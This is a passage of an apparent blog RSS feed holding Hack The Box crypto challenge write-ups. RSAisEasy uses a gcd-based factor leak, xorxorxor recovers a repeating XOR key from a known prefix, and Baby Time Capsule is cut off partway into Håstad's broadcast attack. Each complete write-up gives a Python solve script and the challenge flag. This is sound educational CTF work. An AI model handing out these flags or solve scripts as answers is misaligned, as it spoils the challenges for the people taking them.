style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__ &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;run&#34;&gt;Run&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 solve.py --base http://&amp;lt;ip&amp;gt;:&amp;lt;port&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;result&#34;&gt;Result&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{l1ght_w31ght_b4b3h!}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: RSAisEasy</title>
      <link>/posts/htb-crypto-rsaiseasy/</link>
      <pubDate>Fri, 27 Feb 2026 02:14:00 +0700</pubDate>
      <guid>/posts/htb-crypto-rsaiseasy/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; RSAisEasy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover two RSA-encrypted halves of the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;Given values follow:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;n1 = p*q&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;n2 = q*z&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;leak = n1*E + n2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcd(n1, leak) = gcd(p*q, n1*E + q*z) = q&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once &lt;code&gt;q&lt;/code&gt; is recovered, both RSA systems collapse.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exploit-strategy&#34;&gt;Exploit Strategy&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Compute &lt;code&gt;q = gcd(n1, leak)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Recover &lt;code&gt;p = n1 // q&lt;/code&gt; and decrypt &lt;code&gt;c1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Recover &lt;code&gt;n2&lt;/code&gt; from &lt;code&gt;leak % n1&lt;/code&gt; (check valid branch &lt;code&gt;r&lt;/code&gt; or &lt;code&gt;r+n1&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Decrypt &lt;code&gt;c2&lt;/code&gt; and concatenate both parts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;solve-script-full-poc&#34;&gt;Solve Script (Full PoC)&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; math &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; gcd&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; Crypto.Util.number &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; long_to_bytes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# paste challenge constants&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;n1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;leak &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;e &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10001&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;q &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; gcd(n1, leak)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; n1 &lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt; q&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;phi1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (p &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (q &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;d1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; pow(e, &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, phi1)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;part1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; long_to_bytes(pow(c1, d1, n1))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;r &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; leak &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; n1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;part2_candidates &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; k &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    n2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; r &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; k &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; n1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; n2 &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;or&lt;/span&gt; n2 &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; q &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;continue&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    z &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; n2 &lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt; q&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    phi2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (q &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (z &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    d2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; pow(e, &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, phi2)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    m2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; long_to_bytes(pow(c2, d2, n2))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; all(&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; b &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;127&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; b &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; m2):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        part2_candidates&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;append(m2)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; part2_candidates:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;raise&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;SystemExit&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;no valid second part&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flag &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (part1 &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; part2_candidates[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;])&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(flag)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;run&#34;&gt;Run&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 solve.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;result&#34;&gt;Result&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{1_m1ght_h4v3_m3ss3d_uP_jU$t_4_l1ttle_b1t?}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: xorxorxor</title>
      <link>/posts/htb-crypto-xorxorxor/</link>
      <pubDate>Fri, 27 Feb 2026 02:12:00 +0700</pubDate>
      <guid>/posts/htb-crypto-xorxorxor/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; xorxorxor&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Decrypt XOR-encrypted flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The challenge encrypts flag bytes with a repeating random 4-byte key:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;xored[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; flag[i] &lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt; key[i &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;HTB flags start with &lt;code&gt;HTB{&lt;/code&gt;, so we can recover all 4 key bytes directly from the first 4 ciphertext bytes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exploit-strategy&#34;&gt;Exploit Strategy&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Parse hex ciphertext.&lt;/li&gt;&#xA;&lt;li&gt;Compute key from known prefix &lt;code&gt;b&#39;HTB{&#39;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;XOR-decrypt the full ciphertext with repeating key.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;solve-script-full-poc&#34;&gt;Solve Script (Full PoC)&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; argparse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;xor_repeat&lt;/span&gt;(data: bytes, key: bytes) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; bytes(b &lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt; key[i &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; len(key)] &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i, b &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; enumerate(data))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ap &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; argparse&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ArgumentParser()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ap&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--hex&amp;#39;&lt;/span&gt;, required&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;, help&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ciphertext hex from challenge output&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    args &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ap&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;parse_args()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ct &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; bytes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;fromhex(args&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;hex)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    known &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;HTB{&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; bytes(ct[i] &lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt; known[i] &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pt &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; xor_repeat(ct, key)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;key =&amp;#39;&lt;/span&gt;, key&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;hex())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(pt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode(errors&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ignore&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__ &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;run&#34;&gt;Run&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 solve.py --hex &amp;lt;ciphertext_hex&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;result&#34;&gt;Result&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{rep34t3d_x0r_n0t_s0_s3cur3}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Baby Time Capsule</title>
      <link>/posts/htb-crypto-baby-time-capsule/</link>
      <pubDate>Fri, 27 Feb 2026 02:10:00 +0700</pubDate>
      <guid>/posts/htb-crypto-baby-time-capsule/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Baby Time Capsule&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the plaintext flag from repeated RSA encryptions under fresh moduli.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The service keeps encrypting the &lt;strong&gt;same message&lt;/strong&gt; with RSA exponent &lt;code&gt;e = 5&lt;/code&gt;, but with different fresh moduli &lt;code&gt;(n_i)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When we collect at least &lt;code&gt;e&lt;/code&gt; ciphertexts from pairwise-coprime moduli, Håstad&amp;rsquo;s broadcast attack applies:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c_i = m^e mod n_i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Using CRT, we reconstruct &lt;code&gt;m^e&lt;/code&gt; over &lt;code&gt;N = ∏n_i&lt;/code&gt;, then compute the exact integer 5th root.&lt;/p&gt;</description>
    </item>
    <item>
